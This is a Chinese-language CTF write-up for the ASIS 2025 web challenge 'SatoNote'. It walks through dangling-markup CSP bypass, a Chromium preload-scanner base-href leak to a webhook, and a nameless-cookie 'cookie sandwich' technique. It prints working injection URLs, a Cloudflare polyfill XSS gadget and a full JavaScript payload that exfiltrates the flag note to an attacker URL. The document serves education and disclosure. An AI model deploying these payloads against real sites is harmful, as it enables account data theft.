/profile/xxx处存在xss漏洞

我们需要让bot携带isAdmin=true才能显示flag

预期之外的方案

使用cloudfLare绕过域名检测

if "cloudflare" in name.lower():
    name = "Hacker"

请添加图片描述
翻译:

在SatoNote中,if "cloudflare" in name.lower()这个条件判断的原因是什么?这让我陷入了试图找到控制https://cdnjs.cloudflare.com/域名上CSS的方法。我想通过这种方式泄露包含配置文件ID的属性。

最终没有成功,因为样式表有严格的内容类型验证,但我在那个域名上发现了一个很酷的XSS小工具:

<script src="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js?version=4.8.0&callback=alert&features=**//alert(origin)/*"></script>

它注入到生成JS的注释中,通常通过删除*/(结束注释)来阻止。但Cloudflare忘记递归地这样做,所以**//变成了*/,仍然允许关闭注释。然后运行任意JS!

我向Cloudflare报告了这个问题,以防万一,因为它绕过了他们做的一个检查,但影响很小,所以可能不会被修复。

编辑:他们现在修复了它,实际上是一个中等严重性的bug!很棒的项目😄

使用cloudfLare而不是cloudflare可以绕过检查(由于域名标准化),我发现这更加可疑😆


回到正题

题目描述


短期間で高難易度の問題作成をお願いされたので、保管していたChromiumのバグ?仕様?を二つ使いました(報告済みでもある)。

Content-Security-Policyとしてが設定されている場合でも、でにリクエストが飛んでしまう(Preload Scannerが原因?)base-uri ‘none’[MY_SERVER]/abcdef.png
既にHttpOnlyで存在しているCookieと同名のものが、とすることで重複して付与できてしまう(Nameless Cookie)document.cookie = “=name=value”;
どちらもFirefoxでは、脆弱性としてCVEが採番されています。
コードは頭を使わずにLLMに書かせているので、非常に読み辛いと思っています🧠➡️🗑️。
ちなみにsolver.pyもです。


step 1 悬空标记

# 首页
# 首页路由,处理GET请求,返回主页HTML
@app.get("/", response_class=HTMLResponse)
async def top(request: Request, name: str = Query("", max_length=256)):
    user = current_user(request)  # 获取当前用户
    # 如果未指定name且已登录,则使用用户名
    if not name and user:
        name = user["username"]
    # 如果name中包含cloudflare,则强制显示为Hacker
    if "cloudflare" in name.lower():
        name = "Hacker"
    # 根据是否登录显示不同的欢迎语
    greet = (
        """
<h1 class="text-3xl font-semibold max-w-5xl mx-auto px-6 py-6">Hello, Guest!</h1>
"""
        if not user
        else f"""
<h1 class="text-3xl font-semibold max-w-5xl mx-auto px-6 py-6">Welcome {name}</h1>
"""
    )
    # 构造页面主体内容
    body = f"""
<div class="flex flex-col">
  <div class="order-last">
    {greet}
  </div>
  {header_nav_html(request, user, order_class="order-first")}
</div>
"""
    # 返回渲染后的HTML页面
    return HTMLResponse(render_page(f"Welcome {name}", body))
/?name=-here-
<html><head>
  <meta charset="utf-8">
  <title>Welcome -there- - Note Atelier</title>
  <meta http-equiv="Content-Security-Policy" content="
    default-src 'self';
    script-src 'none';
    script-src-elem 'none';
    script-src-attr 'none';
    style-src 'none';
    style-src-elem https://cdnjs.cloudflare.com;
    style-src-attr 'none';
    font-src 'none';
    connect-src 'none';
    media-src 'none';
    object-src 'none';
    manifest-src 'none';
    worker-src 'none';
    frame-src 'none';
    child-src 'none';
    prefetch-src 'none';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none';
    navigate-to 'self'
  ">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.19/tailwind.min.css">

我们可以使用悬空标记吞<meta

/?name=</title><img%20src="
<body class="min-h-screen bg-gray-50"><img src=" - Note Atelier&lt;/title&gt;
  &lt;meta http-equiv=" content-security-policy"="" content="
    default-src 'self';
    script-src 'none';
    script-src-elem 'none';
    script-src-attr 'none';
    style-src 'none';
    style-src-elem https://cdnjs.cloudflare.com;
    style-src-attr 'none';
    font-src 'none';
    connect-src 'none';
    media-src 'none';
    object-src 'none';
    manifest-src 'none';
    worker-src 'none';
    frame-src 'none';
    child-src 'none';
    prefetch-src 'none';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none';
    navigate-to 'self'
  ">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.19/tailwind.min.css">

step2 Preload Scanner bug

好的,我们来详细解释一下 Preload Scanner(预加载扫描器)。

核心概念

Preload Scanner(预加载扫描器) 是现代浏览器引擎(如 Chrome 的 Blink、Firefox 的 Gecko、Safari 的 WebKit)中一个非常重要的优化组件。它的主要职责是:在主 HTML 解析器(Main Parser)工作时,“偷跑”一步,提前扫描和下载页面后续需要的关键资源(如脚本、样式表、图像、字体等)。

你可以把它想象成一个高效的“侦察兵”。大部队(主解析器)在按顺序分析 HTML 代码,而侦察兵(预加载扫描器)已经跑到前面去侦查,发现哪里需要援军(资源),就立刻通知后方开始运送(下载),从而避免了部队到达时才临时调拨资源的等待时间。

为什么需要 Preload Scanner?

要理解它的重要性,我们需要先了解没有它时会发生什么:

  1. 传统的阻塞式解析:浏览器的主 HTML 解析器是逐行解析 HTML 的。当它遇到一个外部资源(例如 <script src="app.js">)时,它必须停下来(阻塞),先下载并执行这个脚本,然后再继续解析后面的 HTML。这是因为脚本可能会修改 DOM 结构。
  2. 造成的延迟:在这种模式下,即使后面很远的地方有一个非常关键的资源(比如一张大图或一个重要的样式表),也要等到解析器“看到”它时才会开始下载。网络请求的空闲时间就被浪费了。

Preload Scanner 就是为了解决这个网络空闲(Network idleness) 问题而生的。它让浏览器能够充分利用解析和执行当前资源的这段时间,提前发起后续资源的请求,从而实现并行下载,大大加快整个页面的加载速度。

Preload Scanner 是如何工作的?

它的工作流程可以概括为以下几个步骤:

  1. 并行运行:当主解析器开始解析 HTML 并构建 DOM 树时,Preload Scanner 几乎同时启动。
  2. 快速扫描:它不会像主解析器那样深入构建 DOM 或执行 JavaScript,而是快速、浅层地扫描后续的原始 HTML 字节流。
  3. 发现资源:它在扫描过程中识别出那些包含 srchref 属性的标签,例如:
    • <img src="photo.jpg">
    • <script src="script.js">
    • <link rel="stylesheet" href="style.css">
    • <video poster="preview.jpg"> (甚至属性中的资源)
  4. 加入队列:一旦发现资源,它就会立即将这些资源的请求发送给浏览器的网络栈,将它们加入下载队列。
  5. 主解析器接管:当主解析器最终解析到该标签时,资源可能已经在下载中甚至已经下载完成了。这样就消除了等待网络响应的时间。
<meta http-equiv="Content-Security-Policy" content="
    default-src 'self';
    script-src 'none';
    script-src-elem 'none';
    script-src-attr 'none';
    style-src 'none';
    style-src-elem https://cdnjs.cloudflare.com;
    style-src-attr 'none';
    font-src 'none';
    connect-src 'none';
    media-src 'none';
    object-src 'none';
    manifest-src 'none';
    worker-src 'none';
    frame-src 'none';
    child-src 'none';
    prefetch-src 'none';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none';
    navigate-to 'self'
  ">
<base href=http://kws1oh3y.requestrepo.com/>
<img src="/hack">
/?name=</title><base href=http://URL/><img src=%22

这会外带图片到URL,因为每个用户的图片中携带id,所以这会携带id到webhook

def header_nav_html(
    request: Request, user: Optional[dict], order_class: str = ""
) -> str:
    token = csrf_token(request)
    if user:
        return f"""
<header class="w-full border-b bg-white {order_class}">
  <div class="max-w-5xl mx-auto px-6 py-4 flex items-center justify-between">
    <a href="/" class="text-xl font-bold">Note Atelier</a>
    <nav class="flex items-center gap-4">
      <a href="/notes" class="inline-flex items-center h-8 text-sm underline align-middle">Notes</a>
      <a href="/profile/{user['uuid']}" class="inline-flex items-center gap-2 h-8 align-middle">
        <img src="/images/{user['uuid']}.png" alt="avatar" width="28" height="28" class="rounded-full">
        <span class="text-sm">Profile</span>
      </a>
      <form method="POST" action="/logout" class="inline">
        <input type="hidden" name="csrf_token" value="{token}">
        <button type="submit" class="inline-flex items-center h-8 text-sm underline align-middle">Logout</button>
      </form>
    </nav>
  </div>
</header>
"""

step 3 cookie sandwich

此处csp仅仅依靠meta,使用悬空标记后即可xss

/profile/89f916e613a040cea282194db6283ff6?name=</title><script>alert(0)</script><img%20src="
HTTP/1.1 200 OK
Connection: close
Content-Length: 3073
Content-Type: text/html; charset=utf-8
Date: Fri, 19 Sep 2025 14:20:37 GMT
Permissions-Policy: geolocation=()
Referrer-Policy: no-referrer
Server: uvicorn
Set-Cookie: session=eyJjc3JmX3Rva2VuIjogIlhnZkFLV2ZONkVRcEg3LW9WZEFxSlpmVFdxc0szN0VHX253TUw4eGVRcm8iLCAidXNlciI6ICIxZWFkMmRhcyJ9.aM1mtQ.bkdfVW6lyoHWFpFFAzelnnMSTUU; path=/; Max-Age=1209600; httponly; samesite=lax
X-Content-Type-Options: nosniff

利用cookie sandwich设置cookie

Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research

asis_ctf_quals_2025_satoki_writeups/Web/SatoNote/solver/solver.py at main · satoki/asis_ctf_quals_2025_satoki_writeups

// 异步函数:获取flag笔记并发送到目标服务器
async function fetchFlagNoteAndSend({base=location.origin,label='flag',targetBase='https://URL/'}={}) {
  // 设置cookie为isAdmin=true
  document.cookie='=isAdmin=true; path=/';
  // 获取/notes页面,带上cookie
  const listRes=await fetch(new URL('/notes',base),{credentials:'include'});
  // 如果请求失败则抛出异常
  if(!listRes.ok)throw new Error(`/notes fetch failed: ${listRes.status}`);
  // 获取响应文本
  const listHtml=await listRes.text();
  // 创建DOM解析器
  const parser=new DOMParser();
  // 解析HTML为文档对象
  const listDoc=parser.parseFromString(listHtml,'text/html');
  // 查找所有符合/notes/xxxxxx格式的链接
  const candLinks=[...listDoc.querySelectorAll('a[href^="/notes/"]')].filter(a=>/\/notes\/[0-9a-f]{12}$/i.test(a.getAttribute('href')||''));
  // 如果没有找到笔记链接则抛出异常
  if(candLinks.length===0)throw new Error('no note links found');
  // 查找名称为label的链接,否则取第一个
  const linkEl=candLinks.find(a=>a.textContent.trim().toLowerCase()===label.toLowerCase())||candLinks[0];
  // 构造笔记详情页URL
  const noteUrl=new URL(linkEl.getAttribute('href'),base);
  // 获取笔记详情页内容
  const noteRes=await fetch(noteUrl,{credentials:'include'});
  // 如果请求失败则抛出异常
  if(!noteRes.ok)throw new Error(`${noteUrl.pathname} fetch failed: ${noteRes.status}`);
  // 获取响应文本
  const noteHtml=await noteRes.text();
  // 解析HTML为文档对象
  const noteDoc=parser.parseFromString(noteHtml,'text/html');
  // 获取main标签内容
  const main=noteDoc.querySelector('main');
  // 获取main标签的文本内容(如果没有则取body文本),并去除首尾空白
  const text=(main?main.innerText:noteDoc.body?.innerText||'').trim();
  // 对文本内容进行base64编码
  const b64=btoa(unescape(encodeURIComponent(text)));
  // 构造目标服务器的URL,参数为编码后的内容
  const targetUrl=`${targetBase}?omg=${encodeURIComponent(b64)}`;
  // 发送请求到目标服务器(no-cors模式)
  await fetch(targetUrl,{mode:'no-cors'});
  // 返回目标URL
  return targetUrl;
}
// 执行函数并输出结果或错误
fetchFlagNoteAndSend().then(u=>console.log('Sent to:',u)).catch(console.error);

QEF

#xss #歧义造成的漏洞

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐